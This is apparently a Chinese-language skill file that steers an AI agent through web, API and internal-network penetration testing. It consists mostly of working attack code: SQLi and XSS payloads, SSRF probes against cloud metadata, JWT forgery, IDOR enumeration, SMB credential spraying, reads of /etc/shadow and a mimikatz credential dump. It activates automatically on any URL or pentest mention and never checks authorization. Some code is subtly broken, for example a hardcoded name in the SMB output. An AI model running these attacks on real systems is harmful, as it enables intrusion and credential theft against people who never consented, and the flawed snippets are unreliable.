Seagull Penetration Testing Skill
证据驱动的渗透与攻击面工程：Web 应用、API、网络、身份系统、Active Directory、云、容器、Kubernetes、认证流程和源码辅助评估。
触发条件
- 用户提到：渗透、pentest、红队、打站、SRC、挖洞、渗透测试
- 提供 URL、主机、请求/响应、API schema、JavaScript bundle、网络清单
- 需要攻击面分析、漏洞验证、利用链、证据捕获
工作流程
1. 信息收集（Recon）
子域名枚举：
bash
# subfinder + httpx
subfinder -d target.com -o subdomains.txt
cat subdomains.txt | httpx -status-code -title -tech-detect -o live.txt
# 或用 Python
import dns.resolver
import requests
def enum_subdomains(domain, wordlist):
for word in wordlist:
subdomain = f"{word}.{domain}"
try:
dns.resolver.resolve(subdomain, 'A')
print(f"[+] {subdomain}")
except:
pass
wordlist = ['www', 'mail', 'ftp', 'admin', 'api', 'dev']
enum_subdomains("target.com", wordlist)
端口扫描：
bash
# Nmap
nmap -sV -sC -oA scan target.com
# masscan（大范围）
masscan -p1-65535 --rate=1000 target.com -oL ports.txt
技术栈指纹：
bash
# whatweb
whatweb -a 3 https://target.com
# wappalyzer（CLI）
wappalyzer https://target.com
# 手工
curl -I https://target.com
curl -s https://target.com | grep -i "generator\|powered\|framework"
2. Web 漏洞测试
SQL 注入：
python
import requests
# 时间盲注探测
def test_sqli_time(url, param):
payloads = [
"' AND SLEEP(5)--",
"' OR SLEEP(5)--",
"'; WAITFOR DELAY '00:00:05'--",
"' AND pg_sleep(5)--"
]
for payload in payloads:
params = {param: payload}
import time
start = time.time()
try:
r = requests.get(url, params=params, timeout=10)
elapsed = time.time() - start
if elapsed >= 5:
print(f"[!] Time-based SQLi found: {payload}")
return True
except:
pass
return False
# 使用
test_sqli_time("https://target.com/search", "q")
XSS 探测：
python
def test_xss(url, param):
payloads = [
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"javascript:alert(1)",
"<svg/onload=alert(1)>"
]
for payload in payloads:
params = {param: payload}
r = requests.get(url, params=params)
if payload in r.text:
print(f"[!] Reflected XSS: {payload}")
return True
return False
SSRF 测试：
python
def test_ssrf(url, param):
# Burp Collaborator 或自建服务器
callback = "http://YOUR-COLLABORATOR.com"
payloads = [
callback,
f"http://127.0.0.1:80",
f"http://169.254.169.254/latest/meta-data/", # AWS metadata
f"file:///etc/passwd"
]
for payload in payloads:
data = {param: payload}
r = requests.post(url, json=data)
print(f"Testing: {payload} -> Status: {r.status_code}")
3. 越权测试（专项）
水平越权（IDOR）：
python
import requests
def test_idor(base_url, resource, user_tokens):
"""
测试对象级授权
user_tokens: {"user1": "token1", "user2": "token2"}
"""
results = []
# 用 user1 创建资源
headers1 = {"Authorization": f"Bearer {user_tokens['user1']}"}
r1 = requests.post(f"{base_url}/{resource}", headers=headers1, json={"data": "test"})
resource_id = r1.json().get("id")
# 用 user2 尝试访问 user1 的资源
headers2 = {"Authorization": f"Bearer {user_tokens['user2']}"}
r2 = requests.get(f"{base_url}/{resource}/{resource_id}", headers=headers2)
if r2.status_code == 200:
print(f"[!] IDOR found: user2 can access user1's {resource}/{resource_id}")
results.append({
"type": "Horizontal Privilege Escalation",
"endpoint": f"{base_url}/{resource}/{resource_id}",
"evidence": r2.text[:200]
})
return results
# 使用
tokens = {
"user1": "eyJhbGc...",
"user2": "eyJhbGc..."
}
test_idor("https://api.target.com", "orders", tokens)
垂直越权：
python
def test_vertical_escalation(admin_endpoints, low_priv_token):
"""测试低权限用户访问管理端点"""
headers = {"Authorization": f"Bearer {low_priv_token}"}
for endpoint in admin_endpoints:
r = requests.get(endpoint, headers=headers)
if r.status_code in [200, 201]:
print(f"[!] Vertical escalation: low-priv access to {endpoint}")
print(f" Response: {r.text[:100]}")
# 枚举管理端点
admin_endpoints = [
"https://target.com/admin/users",
"https://target.com/api/admin/settings",
"https://target.com/management/logs"
]
low_priv_token = "eyJhbGc..."
test_vertical_escalation(admin_endpoints, low_priv_token)
ID 遍历脚本：
python
import requests
from concurrent.futures import ThreadPoolExecutor
def check_id(base_url, resource_type, id_val, headers):
url = f"{base_url}/{resource_type}/{id_val}"
try:
r = requests.get(url, headers=headers, timeout=5)
if r.status_code == 200:
return (id_val, r.json())
except:
pass
return None
def enumerate_ids(base_url, resource_type, id_range, token):
headers = {"Authorization": f"Bearer {token}"}
accessible = []
with ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(check_id, base_url, resource_type, i, headers)
for i in range(*id_range)]
for future in futures:
result = future.result()
if result:
accessible.append(result)
print(f"[+] Accessible: {resource_type}/{result[0]}")
return accessible
# 遍历 order ID 1-1000
results = enumerate_ids("https://api.target.com", "orders", (1, 1000), "user_token")
print(f"\n[*] Total accessible: {len(results)}")
4. API 测试
GraphQL 探测：
python
import requests
def test_graphql_introspection(url):
introspection_query = """
{
__schema {
types {
name
fields {
name
type {
name
}
}
}
}
}
"""
r = requests.post(url, json={"query": introspection_query})
if r.status_code == 200:
print("[+] GraphQL introspection enabled")
schema = r.json()
# 提取敏感字段
for type_def in schema['data']['__schema']['types']:
print(f"Type: {type_def['name']}")
if type_def.get('fields'):
for field in type_def['fields']:
print(f" - {field['name']}")
return schema
return None
test_graphql_introspection("https://target.com/graphql")
JWT 测试：
python
import jwt
import base64
def analyze_jwt(token):
# 解码 header 和 payload
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Algorithm: {header.get('alg')}")
print(f"Payload: {json.dumps(payload, indent=2)}")
# 测试 none 算法绕过
if header['alg'] != 'none':
header['alg'] = 'none'
fake_token = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
fake_token += '.' + parts[1] + '.'
print(f"\n[*] Try none algorithm: {fake_token}")
# 测试弱密钥
weak_secrets = ['secret', 'key', '123456', 'password']
for secret in weak_secrets:
try:
decoded = jwt.decode(token, secret, algorithms=['HS256'])
print(f"[!] Weak secret found: {secret}")
break
except:
pass
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
analyze_jwt(token)
5. 内网渗透
信息收集：
powershell
# Windows 域环境
whoami /all
net user /domain
net group "Domain Admins" /domain
nltest /domain_trusts
# 查找域控
nslookup -type=SRV _ldap._tcp.dc._msdcs.DOMAIN.com
# 本地提权检查
.\winPEAS.exe
bash
# Linux
id
sudo -l
cat /etc/passwd
cat /etc/shadow 2>/dev/null
find / -perm -4000 -type f 2>/dev/null # SUID
横向移动：
python
# SMB 凭证喷洒
from impacket.smbconnection import SMBConnection
def smb_login(target, username, password):
try:
conn = SMBConnection(target, target)
conn.login(username, password)
print(f"[+] {target} - laoshu666:{password} SUCCESS")
return True
except Exception as e:
return False
targets = ['10.0.0.10', '10.0.0.11', '10.0.0.12']
creds = [('admin', 'Password123'), ('user', 'Welcome1')]
for target in targets:
for user, pwd in creds:
smb_login(target, user, pwd)
6. 自动化 Recon 框架
python
#!/usr/bin/env python3
"""
Web 渗透自动化框架
"""
import requests
from urllib.parse import urljoin, urlparse
import re
class WebPentestAutomation:
def __init__(self, target):
self.target = target
self.session = requests.Session()
self.findings = []
def spider(self, max_depth=2):
"""爬取站点链接"""
visited = set()
to_visit = [(self.target, 0)]
while to_visit:
url, depth = to_visit.pop(0)
if url in visited or depth > max_depth:
continue
visited.add(url)
try:
r = self.session.get(url, timeout=5)
# 提取链接
links = re.findall(r'href=[\'"]?([^\'" >]+)', r.text)
for link in links:
abs_url = urljoin(url, link)
if urlparse(abs_url).netloc == urlparse(self.target).netloc:
to_visit.append((abs_url, depth + 1))
except:
pass
return visited
def test_common_vulns(self, urls):
"""批量漏洞测试"""
for url in urls:
# SQL 注入
if self.test_sql_injection(url):
self.findings.append({"type": "SQLi", "url": url})
# XSS
if self.test_xss(url):
self.findings.append({"type": "XSS", "url": url})
def generate_report(self):
"""生成报告"""
print(f"\n[*] Pentest Report for {self.target}")
print(f"[*] Total findings: {len(self.findings)}")
for finding in self.findings:
print(f" [{finding['type']}] {finding['url']}")
# 使用
pentest = WebPentestAutomation("https://target.com")
urls = pentest.spider()
pentest.test_common_vulns(urls)
pentest.generate_report()
双平台支持
Linux 工具链
bash
# Kali Linux 常用工具
nmap, masscan, nikto, sqlmap, burpsuite, metasploit
gobuster, ffuf, wfuzz, hydra, john, hashcat
# 一行扫描
nmap -sV -sC -oA scan target.com && \
nikto -h https://target.com -o nikto.txt && \
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt
Windows 工具链
powershell
# PowerShell 渗透
# PowerSploit, PowerView, Invoke-Mimikatz
# 域枚举
Import-Module .\PowerView.ps1
Get-NetDomainController
Get-NetUser | Select-Object samaccountname,memberof
# 凭证 dump
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
交付清单
- 攻击面清单：子域名、端口、服务、技术栈
- 假设矩阵：优先级排序的测试假设
- 最小 PoC：可复现的请求/脚本
- 证据：原始请求、响应、截图
- 影响评估：CIA 三角、CVSS 评分
- 修复建议：代码级修复 + 复测步骤
越权专项交付模板
python
# IDOR 测试报告
{
"vulnerability": "Horizontal Privilege Escalation (IDOR)",
"endpoint": "GET /api/orders/{id}",
"severity": "High",
"description": "用户可以通过修改 order ID 访问其他用户的订单",
"poc": {
"step1": "用户 A 创建订单，获得 ID 12345",
"step2": "用户 B 使用自己的 token 访问 /api/orders/12345",
"step3": "服务器返回 200，泄露用户 A 的订单详情"
},
"evidence": {
"request": "GET /api/orders/12345\nAuthorization: Bearer <user_B_token>",
"response": "HTTP/1.1 200 OK\n{...user_A_data...}"
},
"impact": "攻击者可遍历所有订单 ID，批量窃取用户订单、地址、支付信息",
"remediation": "在 order 查询前加鉴权：if order.user_id != current_user.id: return 403"
}
与其他技能配合
- + reverse: 客户端逆向 → API 隐藏接口发现
- + social-eng: OSINT → 目标情报 → 定向攻击
- + memory: 运行时分析 → 绕过客户端校验
- + exploit: Web 漏洞 → RCE/提权链
路由激活：当用户提到渗透、Web 安全、API 测试、越权、内网、红队或提供 URL/请求时，自动使用本技能。
直接从可用目标开始，交付 recon → 假设矩阵 → 可运行复现脚本 → 证据 → 修复。